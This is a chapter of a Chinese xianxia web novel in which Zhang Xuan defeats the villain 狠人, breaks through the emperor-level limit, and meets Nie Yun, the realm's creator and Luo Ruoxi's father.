此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!